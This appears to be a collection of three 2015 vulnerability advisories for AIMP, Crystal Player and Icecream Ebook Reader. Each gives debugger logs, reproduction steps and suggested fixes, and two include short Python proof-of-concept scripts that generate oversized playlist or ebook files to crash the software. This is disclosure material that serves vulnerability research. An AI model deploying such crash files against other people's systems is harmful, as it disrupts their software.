AIMP v3.60.1470 - Denial of Service [Crash]

 

# Exploit Title: [AIMP v3.60.1470 - Denial of Service]
# Date: [23/01/2015]
# Exploit Author: [Kapil Soni (Haxinos)]
# Twitter: @Haxinos
# Vendor Homepage: [http://www.aimp.ru/]
# Software Link: [https://drive.google.com/file/d/0B0hkLvGZtoWUcGl5R21LQTZYaHM/view?usp=sharing]
# Version: [AIMP 3.60.1470]
# Tested on: [Windows XP SP2]


Product Information:
=========================

    **Multi-format Playback:
    ------------------------
    .CDA, .AAC, .AC3, .APE, .DTS, .FLAC, .IT, .MIDI, .MO3, .MOD, .M4A, .M4B, .MP1, .MP2, .MP3,
    .MPC, .MTM, .OFR, .OGG, .OPUS, .RMI, .S3M, .SPX, .TAK, .TTA, .UMX, .WAV, .WMA, .WV, .XM

    **Output supports
    ------------------
    DirectSound / ASIO / WASAPI / WASAPI Exclusive

    **18-band equalizer and built-in sound effects
    ----------------------------------------------
    Reverb, Flanger, Chorus, Pitch, Tempo, Echo, Speed, Bass, Enhancer, Voice Remover
    32-bit audio processing
    For the best quality!

    **Work with multiple playlists
    ------------------------------
    While one plays - you work with another
    Internet radio
    Listen internet-radio stations in OGG / WAV / MP3 / AAC / AAC+ formats
    Capture stream to APE, FLAC, OGG, WAV, WV, WMA and MP3 formats
    Capture stream as is for MP3 / AAC / AAC+ formats

    Work with few playlists:
    -------------------------
    Personal appearance settings of even playlist
    Ability to block content from changes
    Ability to synchronize playlist content with folder or another playlist

    Multithreading encoding
    -----------------------
    Few encoding modes
    Single source - single result / All sources - single result (with ability to generate CUE Sheet)
    Encode to popular formats
    Encode to APE, MP3, FLAC, OGG, WAV, WMA, MusePack and WavPack formats

    Audio CD Grabber
    ----------------
    Allow you to import audio data from Audio CD
    An ability to change format of input audio stream?
    Shut down the computer after conversion operation

    Audio Library
    --------------
    Represents the music files organizer, which allows you easily organize your music, set marks for listened Tracks, keeping playback statistics.


    Alarm Clock
    -----------
    You can choose playback start time of selected track with smooth volume increasing.
    Wake up the computer from sleeping mode is supported.

    Auto shutdown the computer
    ---------------------------
    You can sleep while listening favorite music, just set the timer to shutdown the computer at given time or on playback finish.



Debugging & Error Logs:
========================
(7d8.1fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=024a2340 ebx=00420070 ecx=00410041 edx=00410041 esi=02492310 edi=004186e4
eip=00577e73 esp=0012fbe0 ebp=0012fc54 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\AIMP3\AIMP.Runtime.dll -
AIMP_Runtime!SystemAtomicXchgInt64$qqrrjj+0x407:
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\AIMP3\AIMP3.exe
00577e73 8911            mov     dword ptr [ecx],edx  ds:0023:00410041=004101c9
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.


Steps for Reproduce (Access Violation):
==========================
1) Open AIMP Player and rename the playlist or press ALT+R
2) put "A" - 40000 times or more and click on OK.
3) Now press cntrl+s for save playlist, and application got crashed.

Exploitation Technique:
=======================
Local (Overflow, Crash PoC)

Status:
==========
Reported

Author:
=======
Kapil Soni (@Haxinos)

Crystal Player 1.99 - Memory Corruption Vulnerability [Local]

# Exploit Title: [Crystal Player 1.99 - Memory Corruption Vulnerability]
# Date: [21/01/2015]
# Exploit Author: [Kapil Soni]
# Twitter: [@Haxinos]
# Vendor Homepage: [http://www.crystalplayer.com]
# Software Link: [download link if available]
# Version: [Crystal Player v1.99]
# Tested on: [Windows XP SP2]

'''
Affected Product(s):
#====================
Crystal Player 1.99


Exploitation Technique:
#=======================
Local


Severity Level:
#===============
Medium


Technical Details & Description:
================================
A Memory Corruption Vulnerability is detected on Crystal Player 1.99. An attacker can crash the software by using .mls file.
Attackers can crash the software local by user inter action over mls (playlist).



--- DEBUG LOG ---
///registers
EAX 00000000
ECX 0006FE24
EDX 0006FE24
EBX 0013014C
ESP 0006F300
EBP 00060041
ESI 00FF4A00
EDI 00000001
EIP 0040F933 Crystal.0040F933
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 1  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)
EFL 00010296 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1



--- ERROR LOG ---
Crystal+0xf933:
0040f933 8b5510          mov     edx,dword ptr [ebp+10h] ss:0023:00060051=????????


00060051 doesnt exist in the program aka not allowed .. so memcopy fails...


EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040f933 (Crystal+0xf933)

Access violation when reading [00060051]

Proof of Concept (PoC):
=======================
This vulnerabilities can be exploited by local attackers with userinteraction ...
'''
#!/usr/bin/python

buffer = "A"*30000

filename = "Crash"+".mls"
file = open(filename, 'w')
file.write(buffer)
file.close()
print "[] Successfully MLS Created []"

'''
How to perform:
=======================
1) Open Immunity Debugger and attach Crystal Player 1.99
2) Run it, Now move .mls file that we generated by our python script to the player
3) Once again you have to move the same file in Crystal Player 1.99 for adding second playlist.

When you perform above steps so application will crash. Analyze it on Immunity.

Solution - Fix & Patch:
=======================
Restrict working maximum size & set a own exception-handling for over-sized requests.

Security Risk:
==============
The security risk of the vulnerability is estimated as medium because of the local crash method.

Other Links:
=============
1) Exploit-DB - https://www.exploit-db.com/exploits/35869/
2) Google it

Status:
========
Reported

Authors:
==================
Kapil Soni (Haxinos)
'''

Icecream Ebook Reader v1.41 (.mobi/.prc) Denial of Service and Memory Corruption [Local]

# Exploit Title: [Icecream Ebook Reader v1.41 (.mobi/.prc) Denial of Service]
# Date: [23/01/2015]
# Exploit Author: [Kapil Soni]
# Twitter: [@Haxinos]
# Vendor Homepage: [http://icecreamapps.com/]
# Software Link: [download link if available]
# Version: [Icecream Ebook Reader v1.41]
# Tested on: [Windows XP SP2]

#Technical Details & Description:
#================================
#A Memory Corruption Vulnerability is detected on Icecream Ebook Reader v1.41. An attacker can crash the software by using .mobi and .prc file.
#Attackers can crash the software local by user inter action over .mobi and .prc (ebooks).


#Piece of Code
#========================================================================

#!/usr/bin/python

buffer = "A"*1000

filename = "crash"+".mobi" # For testing with .prc, change the extension
file = open(filename, 'w')
file.write(buffer)
file.close()

print "File Successfully Created [1]"

#========================================================================
#Debugging and Error Log
#========================

#Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
#Copyright (c) Microsoft Corporation. All rights reserved.
#*** wait with pending attach
#Symbol search path is: *** Invalid ***
#****************************************************************************
#* Symbol loading may be unreliable without a symbol search path.           *
#* Use .symfix to have the debugger choose a symbol path.                   *
#* After setting your symbol path, use .reload to refresh symbol locations. *
#****************************************************************************
#Executable search path is:
#ModLoad: 00400000 00bd2000   C:\Program Files\Icecream Ebook Reader\ebookreader.exe
#ModLoad: 7c900000 7c9b0000   C:\WINDOWS\system32\ntdll.dll
#ModLoad: 7c800000 7c8f4000   C:\WINDOWS\system32\kernel32.dll
#ModLoad: 67000000 673f1000   C:\Program Files\Icecream Ebook Reader\Qt5Core.dll
#ModLoad: 00d30000 01158000   C:\Program Files\Icecream Ebook Reader\Qt5Gui.dll
#.... Snipped
#ModLoad: 769c0000 76a73000   C:\WINDOWS\system32\userenv.dll
#ModLoad: 01960000 0196c000   C:\Program Files\Icecream Ebook Reader\imageformats\qdds.dll
#ModLoad: 01970000 01979000   C:\Program Files\Icecream Ebook Reader\imageformats\qgif.dll
#ModLoad: 01b10000 01b18000   C:\Program Files\Icecream Ebook Reader\imageformats\qwbmp.dll
#ModLoad: 01b20000 01b66000   C:\Program Files\Icecream Ebook Reader\imageformats\qwebp.dll
#ModLoad: 09e70000 09f0f000   C:\Program Files\Icecream Ebook Reader\sqldrivers\qsqlite.dll
#ModLoad: 20000000 202c5000   C:\WINDOWS\system32\xpsp2res.dll
#(f9c.e34): Break instruction exception - code 80000003 (first chance)
#eax=7ffd7000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
#eip=7c901230 esp=0a67ffcc ebp=0a67fff4 iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
#*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll -
#ntdll!DbgBreakPoint:
#7c901230 cc              int     3
#0:003> g
#ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\Comdlg32.dll
#ModLoad: 77b40000 77b62000   C:\WINDOWS\system32\appHelp.dll
#ModLoad: 76fd0000 7704f000   C:\WINDOWS\system32\CLBCATQ.DLL
#ModLoad: 77050000 77115000   C:\WINDOWS\system32\COMRes.dll
#... Snipped
#ModLoad: 771b0000 77256000   C:\WINDOWS\system32\WININET.dll
#ModLoad: 76f60000 76f8c000   C:\WINDOWS\system32\WLDAP32.dll
#ModLoad: 74e30000 74e9c000   C:\WINDOWS\system32\RichEd20.dll
#ModLoad: 76980000 76988000   C:\WINDOWS\system32\LINKINFO.dll
#QIODevice::read: Called with maxSize < 0
#QIODevice::read: Called with maxSize < 0

#(f9c.998): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=6723d888 ebx=00000000 ecx=00000000 edx=ffffffff esi=0012cd9c edi=0012cf38
#eip=671da2a7 esp=0012cc30 ebp=0012cc90 iopl=0         nv up ei pl nz na pe cy
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010207
#*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Icecream Ebook Reader\Qt5Core.dll -
#Qt5Core!QTextCodec::toUnicode+0x7:
#671da2a7 8b11            mov     edx,dword ptr [ecx]  ds:0023:00000000=????????

#Exploitation Technique:
#============================
#Local, DoS, Memory Corruption

#Solution - Fix & Patch:
#=======================
#Restrict working maximum size & set a own exception-handling for over-sized requests.

#Status:
#=======
#Reported

#Other Links:
#==========
# 1) https://www.exploit-db.com/exploits/35889/
# 2) Use Google

#Author:
#=======
#Kapil Soni (Haxinos)